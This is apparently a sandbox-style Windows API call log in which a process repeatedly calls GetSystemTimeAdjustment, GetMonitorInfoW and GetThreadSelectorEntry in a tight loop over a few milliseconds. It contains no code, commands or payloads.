[0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.167] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.167] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.167] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.168] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.168] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.168] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.169] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.169] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.169] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.170] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.170] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 [0042.171] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18ee28 | out: lpSelectorEntry=0x18ee28) returned 1 [0042.171] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20 | out: lpTimeAdjustment=0x18ee24, lpTimeIncrement=0x18ee1c, lpTimeAdjustmentDisabled=0x18ee20) returned 1 [0042.171] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18eef0 | out: lpmi=0x18eef0) returned 0 